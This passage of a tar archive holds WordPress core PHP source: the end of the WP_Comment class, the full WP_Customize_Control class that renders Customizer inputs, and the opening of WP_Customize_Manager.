$comment_author_email = ''; /** * Comment author URL. * * @since 4.4.0 * @var string */ public $comment_author_url = ''; /** * Comment author IP address (IPv4 format). * * @since 4.4.0 * @var string */ public $comment_author_IP = ''; /** * Comment date in YYYY-MM-DD HH:MM:SS format. * * @since 4.4.0 * @var string */ public $comment_date = '0000-00-00 00:00:00'; /** * Comment GMT date in YYYY-MM-DD HH::MM:SS format. * * @since 4.4.0 * @var string */ public $comment_date_gmt = '0000-00-00 00:00:00'; /** * Comment content. * * @since 4.4.0 * @var string */ public $comment_content; /** * Comment karma count. * * A numeric string, for compatibility reasons. * * @since 4.4.0 * @var string */ public $comment_karma = 0; /** * Comment approval status. * * @since 4.4.0 * @var string */ public $comment_approved = '1'; /** * Comment author HTTP user agent. * * @since 4.4.0 * @var string */ public $comment_agent = ''; /** * Comment type. * * @since 4.4.0 * @since 5.5.0 Default value changed to `comment`. * @var string */ public $comment_type = 'comment'; /** * Parent comment ID. * * A numeric string, for compatibility reasons. * * @since 4.4.0 * @var string */ public $comment_parent = 0; /** * Comment author ID. * * A numeric string, for compatibility reasons. * * @since 4.4.0 * @var string */ public $user_id = 0; /** * Comment children. * * @since 4.4.0 * @var array */ protected $children; /** * Whether children have been populated for this comment object. * * @since 4.4.0 * @var bool */ protected $populated_children = false; /** * Post fields. * * @since 4.4.0 * @var array */ protected $post_fields = array( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_excerpt', 'post_status', 'comment_status', 'ping_status', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_content_filtered', 'post_parent', 'guid', 'menu_order', 'post_type', 'post_mime_type', 'comment_count' ); /** * Retrieves a WP_Comment instance. * * @since 4.4.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $id Comment ID. * @return WP_Comment|false Comment object, otherwise false. */ public static function get_instance( $id ) { global $wpdb; $comment_id = (int) $id; if ( ! $comment_id ) { return false; } $_comment = wp_cache_get( $comment_id, 'comment' ); if ( ! $_comment ) { $_comment = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_ID = %d LIMIT 1", $comment_id ) ); if ( ! $_comment ) { return false; } wp_cache_add( $_comment->comment_ID, $_comment, 'comment' ); } return new WP_Comment( $_comment ); } /** * Constructor. * * Populates properties with object vars. * * @since 4.4.0 * * @param WP_Comment $comment Comment object. */ public function __construct( $comment ) { foreach ( get_object_vars( $comment ) as $key => $value ) { $this->$key = $value; } } /** * Convert object to array. * * @since 4.4.0 * * @return array Object as array. */ public function to_array() { return get_object_vars( $this ); } /** * Get the children of a comment. * * @since 4.4.0 * * @param array $args { * Array of arguments used to pass to get_comments() and determine format. * * @type string $format Return value format. 'tree' for a hierarchical tree, 'flat' for a flattened array. * Default 'tree'. * @type string $status Comment status to limit results by. Accepts 'hold' (`comment_status=0`), * 'approve' (`comment_status=1`), 'all', or a custom comment status. * Default 'all'. * @type string $hierarchical Whether to include comment descendants in the results. * 'threaded' returns a tree, with each comment's children * stored in a `children` property on the `WP_Comment` object. * 'flat' returns a flat array of found comments plus their children. * Pass `false` to leave out descendants. * The parameter is ignored (forced to `false`) when `$fields` is 'ids' or 'counts'. * Accepts 'threaded', 'flat', or false. Default: 'threaded'. * @type string|array $orderby Comment status or array of statuses. To use 'meta_value' * or 'meta_value_num', `$meta_key` must also be defined. * To sort by a specific `$meta_query` clause, use that * clause's array key. Accepts 'comment_agent', * 'comment_approved', 'comment_author', * 'comment_author_email', 'comment_author_IP', * 'comment_author_url', 'comment_content', 'comment_date', * 'comment_date_gmt', 'comment_ID', 'comment_karma', * 'comment_parent', 'comment_post_ID', 'comment_type', * 'user_id', 'comment__in', 'meta_value', 'meta_value_num', * the value of $meta_key, and the array keys of * `$meta_query`. Also accepts false, an empty array, or * 'none' to disable `ORDER BY` clause. * } * @return WP_Comment[] Array of `WP_Comment` objects. */ public function get_children( $args = array() ) { $defaults = array( 'format' => 'tree', 'status' => 'all', 'hierarchical' => 'threaded', 'orderby' => '', ); $_args = wp_parse_args( $args, $defaults ); $_args['parent'] = $this->comment_ID; if ( is_null( $this->children ) ) { if ( $this->populated_children ) { $this->children = array(); } else { $this->children = get_comments( $_args ); } } if ( 'flat' === $_args['format'] ) { $children = array(); foreach ( $this->children as $child ) { $child_args = $_args; $child_args['format'] = 'flat'; // get_children() resets this value automatically. unset( $child_args['parent'] ); $children = array_merge( $children, array( $child ), $child->get_children( $child_args ) ); } } else { $children = $this->children; } return $children; } /** * Add a child to the comment. * * Used by `WP_Comment_Query` when bulk-filling descendants. * * @since 4.4.0 * * @param WP_Comment $child Child comment. */ public function add_child( WP_Comment $child ) { $this->children[ $child->comment_ID ] = $child; } /** * Get a child comment by ID. * * @since 4.4.0 * * @param int $child_id ID of the child. * @return WP_Comment|false Returns the comment object if found, otherwise false. */ public function get_child( $child_id ) { if ( isset( $this->children[ $child_id ] ) ) { return $this->children[ $child_id ]; } return false; } /** * Set the 'populated_children' flag. * * This flag is important for ensuring that calling `get_children()` on a childless comment will not trigger * unneeded database queries. * * @since 4.4.0 * * @param bool $set Whether the comment's children have already been populated. */ public function populated_children( $set ) { $this->populated_children = (bool) $set; } /** * Check whether a non-public property is set. * * If `$name` matches a post field, the comment post will be loaded and the post's value checked. * * @since 4.4.0 * * @param string $name Property name. * @return bool */ public function __isset( $name ) { if ( in_array( $name, $this->post_fields, true ) && 0 !== (int) $this->comment_post_ID ) { $post = get_post( $this->comment_post_ID ); return property_exists( $post, $name ); } } /** * Magic getter. * * If `$name` matches a post field, the comment post will be loaded and the post's value returned. * * @since 4.4.0 * * @param string $name * @return mixed */ public function __get( $name ) { if ( in_array( $name, $this->post_fields, true ) ) { $post = get_post( $this->comment_post_ID ); return $post->$name; } } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-customize-control.php����������������������������������������������������������������������0000644�����������������00000061673�15120262030�0012510 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress Customize Control classes * * @package WordPress * @subpackage Customize * @since 3.4.0 */ /** * Customize Control class. * * @since 3.4.0 */ class WP_Customize_Control { /** * Incremented with each new class instantiation, then stored in $instance_number. * * Used when sorting two instances whose priorities are equal. * * @since 4.1.0 * @var int */ protected static $instance_count = 0; /** * Order in which this instance was created in relation to other instances. * * @since 4.1.0 * @var int */ public $instance_number; /** * Customizer manager. * * @since 3.4.0 * @var WP_Customize_Manager */ public $manager; /** * Control ID. * * @since 3.4.0 * @var string */ public $id; /** * All settings tied to the control. * * @since 3.4.0 * @var array */ public $settings; /** * The primary setting for the control (if there is one). * * @since 3.4.0 * @var string|WP_Customize_Setting|null */ public $setting = 'default'; /** * Capability required to use this control. * * Normally this is empty and the capability is derived from the capabilities * of the associated `$settings`. * * @since 4.5.0 * @var string */ public $capability; /** * Order priority to load the control in Customizer. * * @since 3.4.0 * @var int */ public $priority = 10; /** * Section the control belongs to. * * @since 3.4.0 * @var string */ public $section = ''; /** * Label for the control. * * @since 3.4.0 * @var string */ public $label = ''; /** * Description for the control. * * @since 4.0.0 * @var string */ public $description = ''; /** * List of choices for 'radio' or 'select' type controls, where values are the keys, and labels are the values. * * @since 3.4.0 * @var array */ public $choices = array(); /** * List of custom input attributes for control output, where attribute names are the keys and values are the values. * * Not used for 'checkbox', 'radio', 'select', 'textarea', or 'dropdown-pages' control types. * * @since 4.0.0 * @var array */ public $input_attrs = array(); /** * Show UI for adding new content, currently only used for the dropdown-pages control. * * @since 4.7.0 * @var bool */ public $allow_addition = false; /** * @deprecated It is better to just call the json() method * @since 3.4.0 * @var array */ public $json = array(); /** * Control's Type. * * @since 3.4.0 * @var string */ public $type = 'text'; /** * Callback. * * @since 4.0.0 * * @see WP_Customize_Control::active() * * @var callable Callback is called with one argument, the instance of * WP_Customize_Control, and returns bool to indicate whether * the control is active (such as it relates to the URL * currently being previewed). */ public $active_callback = ''; /** * Constructor. * * Supplied `$args` override class property defaults. * * If `$args['settings']` is not defined, use the $id as the setting ID. * * @since 3.4.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id Control ID. * @param array $args { * Optional. Array of properties for the new Control object. Default empty array. * * @type int $instance_number Order in which this instance was created in relation * to other instances. * @type WP_Customize_Manager $manager Customizer bootstrap instance. * @type string $id Control ID. * @type array $settings All settings tied to the control. If undefined, `$id` will * be used. * @type string $setting The primary setting for the control (if there is one). * Default 'default'. * @type string $capability Capability required to use this control. Normally this is empty * and the capability is derived from `$settings`. * @type int $priority Order priority to load the control. Default 10. * @type string $section Section the control belongs to. Default empty. * @type string $label Label for the control. Default empty. * @type string $description Description for the control. Default empty. * @type array $choices List of choices for 'radio' or 'select' type controls, where * values are the keys, and labels are the values. * Default empty array. * @type array $input_attrs List of custom input attributes for control output, where * attribute names are the keys and values are the values. Not * used for 'checkbox', 'radio', 'select', 'textarea', or * 'dropdown-pages' control types. Default empty array. * @type bool $allow_addition Show UI for adding new content, currently only used for the * dropdown-pages control. Default false. * @type array $json Deprecated. Use WP_Customize_Control::json() instead. * @type string $type Control type. Core controls include 'text', 'checkbox', * 'textarea', 'radio', 'select', and 'dropdown-pages'. Additional * input types such as 'email', 'url', 'number', 'hidden', and * 'date' are supported implicitly. Default 'text'. * @type callable $active_callback Active callback. * } */ public function __construct( $manager, $id, $args = array() ) { $keys = array_keys( get_object_vars( $this ) ); foreach ( $keys as $key ) { if ( isset( $args[ $key ] ) ) { $this->$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; if ( empty( $this->active_callback ) ) { $this->active_callback = array( $this, 'active_callback' ); } self::$instance_count += 1; $this->instance_number = self::$instance_count; // Process settings. if ( ! isset( $this->settings ) ) { $this->settings = $id; } $settings = array(); if ( is_array( $this->settings ) ) { foreach ( $this->settings as $key => $setting ) { $settings[ $key ] = $this->manager->get_setting( $setting ); } } elseif ( is_string( $this->settings ) ) { $this->setting = $this->manager->get_setting( $this->settings ); $settings['default'] = $this->setting; } $this->settings = $settings; } /** * Enqueue control related scripts/styles. * * @since 3.4.0 */ public function enqueue() {} /** * Check whether control is active to current Customizer preview. * * @since 4.0.0 * * @return bool Whether the control is active to the current preview. */ final public function active() { $control = $this; $active = call_user_func( $this->active_callback, $this ); /** * Filters response of WP_Customize_Control::active(). * * @since 4.0.0 * * @param bool $active Whether the Customizer control is active. * @param WP_Customize_Control $control WP_Customize_Control instance. */ $active = apply_filters( 'customize_control_active', $active, $control ); return $active; } /** * Default callback used when invoking WP_Customize_Control::active(). * * Subclasses can override this with their specific logic, or they may * provide an 'active_callback' argument to the constructor. * * @since 4.0.0 * * @return true Always true. */ public function active_callback() { return true; } /** * Fetch a setting's value. * Grabs the main setting by default. * * @since 3.4.0 * * @param string $setting_key * @return mixed The requested setting's value, if the setting exists. */ final public function value( $setting_key = 'default' ) { if ( isset( $this->settings[ $setting_key ] ) ) { return $this->settings[ $setting_key ]->value(); } } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 3.4.0 */ public function to_json() { $this->json['settings'] = array(); foreach ( $this->settings as $key => $setting ) { $this->json['settings'][ $key ] = $setting->id; } $this->json['type'] = $this->type; $this->json['priority'] = $this->priority; $this->json['active'] = $this->active(); $this->json['section'] = $this->section; $this->json['content'] = $this->get_content(); $this->json['label'] = $this->label; $this->json['description'] = $this->description; $this->json['instanceNumber'] = $this->instance_number; if ( 'dropdown-pages' === $this->type ) { $this->json['allow_addition'] = $this->allow_addition; } } /** * Get the data to export to the client via JSON. * * @since 4.1.0 * * @return array Array of parameters passed to the JavaScript. */ public function json() { $this->to_json(); return $this->json; } /** * Checks if the user can use this control. * * Returns false if the user cannot manipulate one of the associated settings, * or if one of the associated settings does not exist. Also returns false if * the associated section does not exist or if its capability check returns * false. * * @since 3.4.0 * * @return bool False if theme doesn't support the control or user doesn't have the required permissions, otherwise true. */ final public function check_capabilities() { if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) { return false; } foreach ( $this->settings as $setting ) { if ( ! $setting || ! $setting->check_capabilities() ) { return false; } } $section = $this->manager->get_section( $this->section ); if ( isset( $section ) && ! $section->check_capabilities() ) { return false; } return true; } /** * Get the control's content for insertion into the Customizer pane. * * @since 4.1.0 * * @return string Contents of the control. */ final public function get_content() { ob_start(); $this->maybe_render(); return trim( ob_get_clean() ); } /** * Check capabilities and render the control. * * @since 3.4.0 * @uses WP_Customize_Control::render() */ final public function maybe_render() { if ( ! $this->check_capabilities() ) { return; } /** * Fires just before the current Customizer control is rendered. * * @since 3.4.0 * * @param WP_Customize_Control $this WP_Customize_Control instance. */ do_action( 'customize_render_control', $this ); /** * Fires just before a specific Customizer control is rendered. * * The dynamic portion of the hook name, `$this->id`, refers to * the control ID. * * @since 3.4.0 * * @param WP_Customize_Control $this WP_Customize_Control instance. */ do_action( "customize_render_control_{$this->id}", $this ); $this->render(); } /** * Renders the control wrapper and calls $this->render_content() for the internals. * * @since 3.4.0 */ protected function render() { $id = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id ); $class = 'customize-control customize-control-' . $this->type; printf( '<li id="%s" class="%s">', esc_attr( $id ), esc_attr( $class ) ); $this->render_content(); echo '</li>'; } /** * Get the data link attribute for a setting. * * @since 3.4.0 * @since 4.9.0 Return a `data-customize-setting-key-link` attribute if a setting is not registered for the supplied setting key. * * @param string $setting_key * @return string Data link parameter, a `data-customize-setting-link` attribute if the `$setting_key` refers to a pre-registered setting, * and a `data-customize-setting-key-link` attribute if the setting is not yet registered. */ public function get_link( $setting_key = 'default' ) { if ( isset( $this->settings[ $setting_key ] ) && $this->settings[ $setting_key ] instanceof WP_Customize_Setting ) { return 'data-customize-setting-link="' . esc_attr( $this->settings[ $setting_key ]->id ) . '"'; } else { return 'data-customize-setting-key-link="' . esc_attr( $setting_key ) . '"'; } } /** * Render the data link attribute for the control's input element. * * @since 3.4.0 * @uses WP_Customize_Control::get_link() * * @param string $setting_key */ public function link( $setting_key = 'default' ) { echo $this->get_link( $setting_key ); } /** * Render the custom attributes for the control's input element. * * @since 4.0.0 */ public function input_attrs() { foreach ( $this->input_attrs as $attr => $value ) { echo $attr . '="' . esc_attr( $value ) . '" '; } } /** * Render the control's content. * * Allows the content to be overridden without having to rewrite the wrapper in `$this::render()`. * * Supports basic input types `text`, `checkbox`, `textarea`, `radio`, `select` and `dropdown-pages`. * Additional input types such as `email`, `url`, `number`, `hidden` and `date` are supported implicitly. * * Control content can alternately be rendered in JS. See WP_Customize_Control::print_template(). * * @since 3.4.0 */ protected function render_content() { $input_id = '_customize-input-' . $this->id; $description_id = '_customize-description-' . $this->id; $describedby_attr = ( ! empty( $this->description ) ) ? ' aria-describedby="' . esc_attr( $description_id ) . '" ' : ''; switch ( $this->type ) { case 'checkbox': ?> <span class="customize-inside-control-row"> <input id="<?php echo esc_attr( $input_id ); ?>" <?php echo $describedby_attr; ?> type="checkbox" value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); ?> <?php checked( $this->value() ); ?> /> <label for="<?php echo esc_attr( $input_id ); ?>"><?php echo esc_html( $this->label ); ?></label> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> </span> <?php break; case 'radio': if ( empty( $this->choices ) ) { return; } $name = '_customize-radio-' . $this->id; ?> <?php if ( ! empty( $this->label ) ) : ?> <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <?php foreach ( $this->choices as $value => $label ) : ?> <span class="customize-inside-control-row"> <input id="<?php echo esc_attr( $input_id . '-radio-' . $value ); ?>" type="radio" <?php echo $describedby_attr; ?> value="<?php echo esc_attr( $value ); ?>" name="<?php echo esc_attr( $name ); ?>" <?php $this->link(); ?> <?php checked( $this->value(), $value ); ?> /> <label for="<?php echo esc_attr( $input_id . '-radio-' . $value ); ?>"><?php echo esc_html( $label ); ?></label> </span> <?php endforeach; ?> <?php break; case 'select': if ( empty( $this->choices ) ) { return; } ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <select id="<?php echo esc_attr( $input_id ); ?>" <?php echo $describedby_attr; ?> <?php $this->link(); ?>> <?php foreach ( $this->choices as $value => $label ) { echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . $label . '</option>'; } ?> </select> <?php break; case 'textarea': ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <textarea id="<?php echo esc_attr( $input_id ); ?>" rows="5" <?php echo $describedby_attr; ?> <?php $this->input_attrs(); ?> <?php $this->link(); ?> ><?php echo esc_textarea( $this->value() ); ?></textarea> <?php break; case 'dropdown-pages': ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <?php $dropdown_name = '_customize-dropdown-pages-' . $this->id; $show_option_none = __( '— Select —' ); $option_none_value = '0'; $dropdown = wp_dropdown_pages( array( 'name' => $dropdown_name, 'echo' => 0, 'show_option_none' => $show_option_none, 'option_none_value' => $option_none_value, 'selected' => $this->value(), ) ); if ( empty( $dropdown ) ) { $dropdown = sprintf( '<select id="%1$s" name="%1$s">', esc_attr( $dropdown_name ) ); $dropdown .= sprintf( '<option value="%1$s">%2$s</option>', esc_attr( $option_none_value ), esc_html( $show_option_none ) ); $dropdown .= '</select>'; } // Hackily add in the data link parameter. $dropdown = str_replace( '<select', '<select ' . $this->get_link() . ' id="' . esc_attr( $input_id ) . '" ' . $describedby_attr, $dropdown ); // Even more hacikly add auto-draft page stubs. // @todo Eventually this should be removed in favor of the pages being injected into the underlying get_pages() call. See <https://github.com/xwp/wp-customize-posts/pull/250>. $nav_menus_created_posts_setting = $this->manager->get_setting( 'nav_menus_created_posts' ); if ( $nav_menus_created_posts_setting && current_user_can( 'publish_pages' ) ) { $auto_draft_page_options = ''; foreach ( $nav_menus_created_posts_setting->value() as $auto_draft_page_id ) { $post = get_post( $auto_draft_page_id ); if ( $post && 'page' === $post->post_type ) { $auto_draft_page_options .= sprintf( '<option value="%1$s">%2$s</option>', esc_attr( $post->ID ), esc_html( $post->post_title ) ); } } if ( $auto_draft_page_options ) { $dropdown = str_replace( '</select>', $auto_draft_page_options . '</select>', $dropdown ); } } echo $dropdown; ?> <?php if ( $this->allow_addition && current_user_can( 'publish_pages' ) && current_user_can( 'edit_theme_options' ) ) : // Currently tied to menus functionality. ?> <button type="button" class="button-link add-new-toggle"> <?php /* translators: %s: Add New Page label. */ printf( __( '+ %s' ), get_post_type_object( 'page' )->labels->add_new_item ); ?> </button> <div class="new-content-item"> <label for="create-input-<?php echo $this->id; ?>"><span class="screen-reader-text"><?php _e( 'New page title' ); ?></span></label> <input type="text" id="create-input-<?php echo $this->id; ?>" class="create-item-input" placeholder="<?php esc_attr_e( 'New page title…' ); ?>"> <button type="button" class="button add-content"><?php _e( 'Add' ); ?></button> </div> <?php endif; ?> <?php break; default: ?> <?php if ( ! empty( $this->label ) ) : ?> <label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label> <?php endif; ?> <?php if ( ! empty( $this->description ) ) : ?> <span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span> <?php endif; ?> <input id="<?php echo esc_attr( $input_id ); ?>" type="<?php echo esc_attr( $this->type ); ?>" <?php echo $describedby_attr; ?> <?php $this->input_attrs(); ?> <?php if ( ! isset( $this->input_attrs['value'] ) ) : ?> value="<?php echo esc_attr( $this->value() ); ?>" <?php endif; ?> <?php $this->link(); ?> /> <?php break; } } /** * Render the control's JS template. * * This function is only run for control types that have been registered with * WP_Customize_Manager::register_control_type(). * * In the future, this will also print the template for the control's container * element and be override-able. * * @since 4.1.0 */ final public function print_template() { ?> <script type="text/html" id="tmpl-customize-control-<?php echo $this->type; ?>-content"> <?php $this->content_template(); ?> </script> <?php } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding WP_Customize_Control::to_json(). * * @see WP_Customize_Control::print_template() * * @since 4.1.0 */ protected function content_template() {} } /** * WP_Customize_Color_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-color-control.php'; /** * WP_Customize_Media_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-media-control.php'; /** * WP_Customize_Upload_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-upload-control.php'; /** * WP_Customize_Image_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-image-control.php'; /** * WP_Customize_Background_Image_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-image-control.php'; /** * WP_Customize_Background_Position_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-position-control.php'; /** * WP_Customize_Cropped_Image_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-cropped-image-control.php'; /** * WP_Customize_Site_Icon_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-site-icon-control.php'; /** * WP_Customize_Header_Image_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-header-image-control.php'; /** * WP_Customize_Theme_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-theme-control.php'; /** * WP_Widget_Area_Customize_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-widget-area-customize-control.php'; /** * WP_Widget_Form_Customize_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-widget-form-customize-control.php'; /** * WP_Customize_Nav_Menu_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-control.php'; /** * WP_Customize_Nav_Menu_Item_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-control.php'; /** * WP_Customize_Nav_Menu_Location_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-location-control.php'; /** * WP_Customize_Nav_Menu_Name_Control class. * * As this file is deprecated, it will trigger a deprecation notice if instantiated. In a subsequent * release, the require_once here will be removed and _deprecated_file() will be called if file is * required at all. * * @deprecated 4.9.0 This file is no longer used due to new menu creation UX. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-name-control.php'; /** * WP_Customize_Nav_Menu_Locations_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-locations-control.php'; /** * WP_Customize_Nav_Menu_Auto_Add_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-auto-add-control.php'; /** * WP_Customize_Date_Time_Control class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-date-time-control.php'; ���������������������������������������������������������������������class-wp-customize-manager.php����������������������������������������������������������������������0000644�����������������00000610750�15120262030�0012436 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress Customize Manager classes * * @package WordPress * @subpackage Customize * @since 3.4.0 */ /** * Customize Manager class. * * Bootstraps the Customize experience on the server-side. * * Sets up the theme-switching process if a theme other than the active one is * being previewed and customized. * * Serves as a factory for Customize Controls and Settings, and * instantiates default Customize Controls and Settings. * * @since 3.4.0 */ final class WP_Customize_Manager { /** * An instance of the theme being previewed. * * @since 3.4.0 * @var WP_Theme */ protected $theme; /** * The directory name of the previously active theme (within the theme_root). * * @since 3.4.0 * @var string */ protected $original_stylesheet; /** * Whether this is a Customizer pageload. * * @since 3.4.0 * @var bool */ protected $previewing = false; /** * Methods and properties dealing with managing widgets in the Customizer. * * @since 3.9.0 * @var WP_Customize_Widgets */ public $widgets; /** * Methods and properties dealing with managing nav menus in the Customizer. * * @since 4.3.0 * @var WP_Customize_Nav_Menus */ public $nav_menus; /** * Methods and properties dealing with selective refresh in the Customizer preview. * * @since 4.5.0 * @var WP_Customize_Selective_Refresh */ public $selective_refresh; /** * Registered instances of WP_Customize_Setting. * * @since 3.4.0 * @var array */ protected $settings = array(); /** * Sorted top-level instances of WP_Customize_Panel and WP_Customize_Section. * * @since 4.0.0 * @var array */ protected $containers = array(); /** * Registered instances of WP_Customize_Panel. * * @since 4.0.0 * @var array */ protected $panels = array(); /** * List of core components. * * @since 4.5.0 * @var array */ protected $components = array( 'widgets', 'nav_menus' ); /** * Registered instances of WP_Customize_Section. * * @since 3.4.0 * @var array */ protected $sections = array(); /** * Registered instances of WP_Customize_Control. * * @since 3.4.0 * @var array */ protected $controls = array(); /** * Panel types that may be rendered from JS templates. * * @since 4.3.0 * @var array */ protected $registered_panel_types = array(); /** * Section types that may be rendered from JS templates. * * @since 4.3.0 * @var array */ protected $registered_section_types = array(); /** * Control types that may be rendered from JS templates. * * @since 4.1.0 * @var array */ protected $registered_control_types = array(); /** * Initial URL being previewed. * * @since 4.4.0 * @var string */ protected $preview_url; /** * URL to link the user to when closing the Customizer. * * @since 4.4.0 * @var string */ protected $return_url; /** * Mapping of 'panel', 'section', 'control' to the ID which should be autofocused. * * @since 4.4.0 * @var array */ protected $autofocus = array(); /** * Messenger channel. * * @since 4.7.0 * @var string */ protected $messenger_channel; /** * Whether the autosave revision of the changeset should be loaded. * * @since 4.9.0 * @var bool */ protected $autosaved = false; /** * Whether the changeset branching is allowed. * * @since 4.9.0 * @var bool */ protected $branching = true; /** * Whether settings should be previewed. * * @since 4.9.0 * @var bool */ protected $settings_previewed = true; /** * Whether a starter content changeset was saved. * * @since 4.9.0 * @var bool */ protected $saved_starter_content_changeset = false; /** * Unsanitized values for Customize Settings parsed from $_POST['customized']. * * @var array */ private $_post_values; /** * Changeset UUID. * * @since 4.7.0 * @var string */ private $_changeset_uuid; /** * Changeset post ID. * * @since 4.7.0 * @var int|false */ private $_changeset_post_id; /** * Changeset data loaded from a customize_changeset post. * * @since 4.7.0 * @var array|null */ private $_changeset_data; /** * Constructor. * * @since 3.4.0 * @since 4.7.0 Added `$args` parameter. * * @param array $args { * Args. * * @type null|string|false $changeset_uuid Changeset UUID, the `post_name` for the customize_changeset post containing the customized state. * Defaults to `null` resulting in a UUID to be immediately generated. If `false` is provided, then * then the changeset UUID will be determined during `after_setup_theme`: when the * `customize_changeset_branching` filter returns false, then the default UUID will be that * of the most recent `customize_changeset` post that has a status other than 'auto-draft', * 'publish', or 'trash'. Otherwise, if changeset branching is enabled, then a random UUID will be used. * @type string $theme Theme to be previewed (for theme switch). Defaults to customize_theme or theme query params. * @type string $messenger_channel Messenger channel. Defaults to customize_messenger_channel query param. * @type bool $settings_previewed If settings should be previewed. Defaults to true. * @type bool $branching If changeset branching is allowed; otherwise, changesets are linear. Defaults to true. * @type bool $autosaved If data from a changeset's autosaved revision should be loaded if it exists. Defaults to false. * } */ public function __construct( $args = array() ) { $args = array_merge( array_fill_keys( array( 'changeset_uuid', 'theme', 'messenger_channel', 'settings_previewed', 'autosaved', 'branching' ), null ), $args ); // Note that the UUID format will be validated in the setup_theme() method. if ( ! isset( $args['changeset_uuid'] ) ) { $args['changeset_uuid'] = wp_generate_uuid4(); } // The theme and messenger_channel should be supplied via $args, // but they are also looked at in the $_REQUEST global here for back-compat. if ( ! isset( $args['theme'] ) ) { if ( isset( $_REQUEST['customize_theme'] ) ) { $args['theme'] = wp_unslash( $_REQUEST['customize_theme'] ); } elseif ( isset( $_REQUEST['theme'] ) ) { // Deprecated. $args['theme'] = wp_unslash( $_REQUEST['theme'] ); } } if ( ! isset( $args['messenger_channel'] ) && isset( $_REQUEST['customize_messenger_channel'] ) ) { $args['messenger_channel'] = sanitize_key( wp_unslash( $_REQUEST['customize_messenger_channel'] ) ); } $this->original_stylesheet = get_stylesheet(); $this->theme = wp_get_theme( 0 === validate_file( $args['theme'] ) ? $args['theme'] : null ); $this->messenger_channel = $args['messenger_channel']; $this->_changeset_uuid = $args['changeset_uuid']; foreach ( array( 'settings_previewed', 'autosaved', 'branching' ) as $key ) { if ( isset( $args[ $key ] ) ) { $this->$key = (bool) $args[ $key ]; } } require_once ABSPATH . WPINC . '/class-wp-customize-setting.php'; require_once ABSPATH . WPINC . '/class-wp-customize-panel.php'; require_once ABSPATH . WPINC . '/class-wp-customize-section.php'; require_once ABSPATH . WPINC . '/class-wp-customize-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-color-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-media-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-upload-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-image-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-image-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-position-control.php'; require_once ABSPATH . WPINC . 